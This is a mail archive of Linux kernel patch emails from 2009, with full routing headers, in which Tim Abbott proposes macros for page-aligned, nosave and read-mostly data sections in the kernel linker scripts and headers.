Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:58:24 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcOl-00043Z-Nb
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:58:24 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52485 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026720AbZD3T6W (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:58:22 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:58:06 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:33322 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20023414AbZD3T56 (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:57:58 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJscZq017705;
	Thu, 30 Apr 2009 15:54:38 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsZaS011295;
	Thu, 30 Apr 2009 15:54:35 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-6-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22569
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23598 gmane.linux.kernel:830354 gmane.linux.ports.alpha:513 gmane.linux.ports.ia64:20313 gmane.linux.ports.m68k:685 gmane.linux.ports.parisc:1592 gmane.linux.ports.ppc64.devel:55684 gmane.linux.ports.sh.devel:5856 gmane.linux.uclinux.microblaze:8578 gmane.linux.ports.sparc:11543 gmane.linux.hardware.blackfin.kernel.devel:1354 gmane.linux.uml.devel:12178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1592>

Signed-off-by: Tim Abbott <tabbott@mit.edu>
---
 include/linux/cache.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/cache.h b/include/linux/cache.h
index 97e2488..99d8a6f 100644
--- a/include/linux/cache.h
+++ b/include/linux/cache.h
@@ -13,7 +13,13 @@
 #endif
 
 #ifndef __read_mostly
+#ifdef CONFIG_HAVE_READ_MOSTLY_DATA
+#define __read_mostly __attribute__((__section__(".data.read_mostly")))
+#define __READ_MOSTLY .section ".data.read_mostly", "aw"
+#else
 #define __read_mostly
+#define __READ_MOSTLY
+#endif /* CONFIG_HAVE_READ_MOSTLY_DATA */
 #endif
 
 #ifndef ____cacheline_aligned
-- 
1.6.2.1




From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 2/6] Add new NOSAVE_DATA linker script macro.
Date: Thu, 30 Apr 2009 15:54:09 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <1241121253-32341-3-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
 <1241121253-32341-2-git-send-email-tabbott@mit.edu>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121571 26848 80.91.229.12 (30 Apr 2009 19:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:59:31 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>, Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Jeff Dike <jdike@addtoit
To: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Thu Apr 30 21:59:15 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcPZ-0005Xs-Ow
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 30 Apr 2009 21:59:14 +0200
Original-Received: from smtp4.uq.edu.au (smtp4.uq.edu.au [130.102.128.19])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJwZmR020363;
	Fri, 1 May 2009 05:58:35 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-240.itee.uq.edu.au [130.102.79.240])
	by smtp4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJwX0X021334
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Fri, 1 May 2009 05:58:34 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n3UJvild017267;
	Fri, 1 May 2009 05:58:07 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n3UJvbS1023798
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Fri, 1 May 2009 05:57:37 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n3UJvbdb023796
	for microblaze-uclinux-outgoing; Fri, 1 May 2009 05:57:37 +1000
Original-Received: from mailhub.itee.uq.edu.au (root-763jJZIzIjYzobCqSpvmMdym9lnykV2+EK66K81epY8@public.gmane.org [130.102.79.241])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n3UJvY94023772
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:35 +1000
Original-Received: from mailhub3.uq.edu.au (mailhub3.uq.edu.au [130.102.148.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n3UJvDkm001810
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:23 +1000 (EST)
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvDPZ007827
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:13 +1000
Original-Received: from uqexav02.soe.uq.edu.au (uqexav02.soe.uq.edu.au [130.102.4.249])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvDHN027012
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:13 +1000
Original-Received: from uqexav01.soe.uq.edu.au ([130.102.4.248]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:13 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:13 +1000
Original-Received: from uqeximf02.soe.uq.edu.au ([130.102.6.17]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:13 +1000
Original-Received: from mailhub4.uq.edu.au ([130.102.149.131]) by uqeximf02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:12 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvCDc026175
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Fri, 1 May 2009 05:57:13 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AjABAKmf+UkSBwdQkWdsb2JhbACWagEBAQEJCwoHEQWpOIdciE2DfwU
X-IronPort-AV: E=Sophos;i="4.40,274,1238940000"; 
   d="scan'208";a="9667922"
Original-Received: from biscayne-one-station.mit.edu ([18.7.7.80])
  by mx1.uq.edu.au with ESMTP; 01 May 2009 05:57:11 +1000
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsP1f017473;
	Thu, 30 Apr 2009 15:54:25 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott-g1QzZIHQhqp23lw5o+y8vA@public.gmane.org)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsMsh011186;
	Thu, 30 Apr 2009 15:54:22 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-2-git-send-email-tabbott-3s7WtUTddSA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.244
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.149.131
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0 () 
X-UQ-FilterTime: 1241121515
X-OriginalArrivalTime: 30 Apr 2009 19:57:12.0939 (UTC) FILETIME=[DA9423B0:01C9C9CD]
X-ITEE-Spam-Score: 0 () 
X-ITEE-Spam-Score: -0.346 () RCVD_IN_DNSWL_LOW,SPF_SOFTFAIL
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8579 gmane.linux.kernel:830355 gmane.linux.ports.alpha:514 gmane.linux.ports.ia64:20314 gmane.linux.ports.m68k:686 gmane.linux.ports.mips.general:23599 gmane.linux.ports.parisc:1593 gmane.linux.ports.ppc64.devel:55685 gmane.linux.ports.sh.devel:5857 gmane.linux.ports.sparc:11544 gmane.linux.hardware.blackfin.kernel.devel:1355 gmane.linux.uml.devel:12179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1593>

This patch is preparation for replacing most ".data.nosave" in the
kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott-3s7WtUTddSA@public.gmane.org>
Cc: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
---
 include/asm-generic/vmlinux.lds.h |    7 +++++++
 1 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 3d88c87..f5ebd2b 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -124,6 +124,13 @@
 	. = ALIGN(PAGE_SIZE);						\
 	*(.bss.page_aligned)
 
+#define NOSAVE_DATA							\
+	. = ALIGN(PAGE_SIZE);						\
+	__nosave_begin = .;						\
+	*(.data.nosave)							\
+	. = ALIGN(PAGE_SIZE);						\
+	__nosave_end = .;
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1


From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott-DPNOqEs/LNQ@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Thu, 30 Apr 2009 15:54:08 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <1241121253-32341-2-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
Reply-To: microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121602 27009 80.91.229.12 (30 Apr 2009 20:00:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 20:00:02 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Anders Kaseorg <andersk-DPNOqEs/LNQ@public.gmane.org>, Waseem Daher <wdaher-DPNOqEs/LNQ@public.gmane.org>,
        Denys Vlasenko <vda.linux-gM/Ye1E23mwN+BqQ9rBEUg@public.gmane.org>,
        Jeff Arnold <jbarnold-DPNOqEs/LNQ@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Bryan Wu <cooloney-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
        Cyrill Gorcunov <gorcunov-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>, dev-etrax-VrBV9hrLPhE@public.gmane.org,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Greg Ungerer <gerg-JBU5SbJe1FlAfugRpC6u6w@public.gmane.org>,
        Haavard Skinnemoen <hskinnemoen-AIFe0yeh4nAAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Jeff Dike <jdike@addtoit
To: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Original-X-From: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org Thu Apr 30 21:59:47 2009
Return-path: <owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>
Envelope-to: glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcQ0-0005h7-VP
	for glum-microblaze-uclinux-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 30 Apr 2009 21:59:42 +0200
Original-Received: from smtp4.uq.edu.au (smtp4.uq.edu.au [130.102.128.19])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJx0HW021076;
	Fri, 1 May 2009 05:59:01 +1000
Original-Received: from mailhub.itee.uq.edu.au (extmail-241.itee.uq.edu.au [130.102.79.241])
	by smtp4.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJx0Y1031739
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Fri, 1 May 2009 05:59:00 +1000
Original-Received: from gum.itee.uq.edu.au (gum.itee.uq.edu.au [130.102.66.1])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n3UJwIqB003210;
	Fri, 1 May 2009 05:58:38 +1000 (EST)
Original-Received: from gum.itee.uq.edu.au (localhost.itee.uq.edu.au [127.0.0.1])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n3UJwD0a023951
	for <microblaze-uclinux-outgoing-/Rdr+DW8qTrcpvZZ8pFdvhCuuivNXqWP@public.gmane.org>; Fri, 1 May 2009 05:58:13 +1000
Original-Received: (from majordom@localhost)
	by gum.itee.uq.edu.au (8.13.1/8.13.1/Submit) id n3UJwDsv023946
	for microblaze-uclinux-outgoing; Fri, 1 May 2009 05:58:13 +1000
Original-Received: from mailhub.itee.uq.edu.au (root-763jJZIzIjYzobCqSpvmMdym9lnykV2+EK66K81epY8@public.gmane.org [130.102.79.241])
	by gum.itee.uq.edu.au (8.13.1/8.13.1) with ESMTP id n3UJwAjX023936
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:58:10 +1000
Original-Received: from mailhub3.uq.edu.au (mailhub3.uq.edu.au [130.102.148.131])
	by mailhub.itee.uq.edu.au (8.14.3/8.14.3) with ESMTP id n3UJw2o4005218
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:58:02 +1000 (EST)
Original-Received: from smtp3.uq.edu.au (smtp3.uq.edu.au [130.102.128.18])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvhAC008628
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:43 +1000
Original-Received: from uqexav02.soe.uq.edu.au (uqexav02.soe.uq.edu.au [130.102.4.249])
	by smtp3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvhND027326
	for <microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org>; Fri, 1 May 2009 05:57:43 +1000
Original-Received: from uqexav01.soe.uq.edu.au ([130.102.4.248]) by uqexav02.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:43 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqexav01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:42 +1000
Original-Received: from uqeximf01.soe.uq.edu.au ([130.102.6.16]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:42 +1000
Original-Received: from mailhub3.uq.edu.au ([130.102.148.131]) by uqeximf01.soe.uq.edu.au with Microsoft SMTPSVC(6.0.3790.1830);
	 Fri, 1 May 2009 05:57:42 +1000
Original-Received: from mx1.uq.edu.au (mx1.uq.edu.au [203.101.255.13])
	by mailhub3.uq.edu.au (8.13.8/8.13.8) with ESMTP id n3UJvgux008595
	for <microblaze-uclinux-rVRm/Wmeqae7NGdpmJTKYQ@public.gmane.org>; Fri, 1 May 2009 05:57:42 +1000
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AjABAKmf+UkSBwdQkWdsb2JhbACWagEBAQEJCwoHEQWpOIdciE2DfwU
X-IronPort-AV: E=Sophos;i="4.40,274,1238940000"; 
   d="scan'208";a="9667931"
Original-Received: from biscayne-one-station.mit.edu ([18.7.7.80])
  by mx1.uq.edu.au with ESMTP; 01 May 2009 05:57:41 +1000
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsLbq017415;
	Thu, 30 Apr 2009 15:54:22 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott-g1QzZIHQhqp23lw5o+y8vA@public.gmane.org)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsJ8G011168;
	Thu, 30 Apr 2009 15:54:19 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-1-git-send-email-tabbott-3s7WtUTddSA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.64 on 130.102.79.245
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.58 on UQ Mailhub on 130.102.148.131
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0 () 
X-UQ-FilterTime: 1241121541
X-OriginalArrivalTime: 30 Apr 2009 19:57:42.0348 (UTC) FILETIME=[EC1B98C0:01C9C9CD]
X-ITEE-Spam-Score: 0 () 
X-ITEE-Spam-Score: -0.346 () RCVD_IN_DNSWL_LOW,SPF_SOFTFAIL
Original-Sender: owner-microblaze-uclinux-FR6EJeJVuqfA6Z3fQjNZrN9u6TNh0Fb7@public.gmane.org
Precedence: bulk
Xref: news.gmane.org gmane.linux.uclinux.microblaze:8580 gmane.linux.kernel:830356 gmane.linux.ports.alpha:515 gmane.linux.ports.ia64:20315 gmane.linux.ports.m68k:687 gmane.linux.ports.mips.general:23600 gmane.linux.ports.parisc:1594 gmane.linux.ports.ppc64.devel:55686 gmane.linux.ports.sh.devel:5858 gmane.linux.ports.sparc:11545 gmane.linux.hardware.blackfin.kernel.devel:1356 gmane.linux.uml.devel:12180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1594>

This patch is preparation for replacing most uses of
".bss.page_aligned" and ".data.page_aligned" in the kernel with
macros, so that the section name can later be changed without having
to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott-3s7WtUTddSA@public.gmane.org>
Cc: Sam Ravnborg <sam-uyr5N9Q2VtJg9hUCZPvPmw@public.gmane.org>
Acked-by: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
---
 include/asm-generic/vmlinux.lds.h |    8 ++++++++
 include/linux/linkage.h           |    9 +++++++++
 2 files changed, 17 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 89853bc..3d88c87 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -116,6 +116,14 @@
 	FTRACE_EVENTS()							\
 	TRACE_SYSCALLS()
 
+#define PAGE_ALIGNED_DATA						\
+	. = ALIGN(PAGE_SIZE);						\
+	*(.data.page_aligned)
+
+#define PAGE_ALIGNED_BSS						\
+	. = ALIGN(PAGE_SIZE);						\
+	*(.bss.page_aligned)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
diff --git a/include/linux/linkage.h b/include/linux/linkage.h
index fee9e59..af051fc 100644
--- a/include/linux/linkage.h
+++ b/include/linux/linkage.h
@@ -22,6 +22,15 @@
 #define __page_aligned_bss	__section(.bss.page_aligned) __aligned(PAGE_SIZE)
 
 /*
+ * For assembly routines.
+ *
+ * Note when using these that you must specify the appropriate
+ * alignment directives yourself
+ */
+#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
+#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
+
+/*
  * This is used by architectures to keep arguments on the stack
  * untouched by the compiler by keeping them live until the end.
  * The argument stack may be owned by the assembly-language
-- 
1.6.2.1


From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 0/6] macros for section name cleanup
Date: Thu, 30 Apr 2009 15:54:07 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241122500 30110 80.91.229.12 (30 Apr 2009 20:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 20:15:00 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
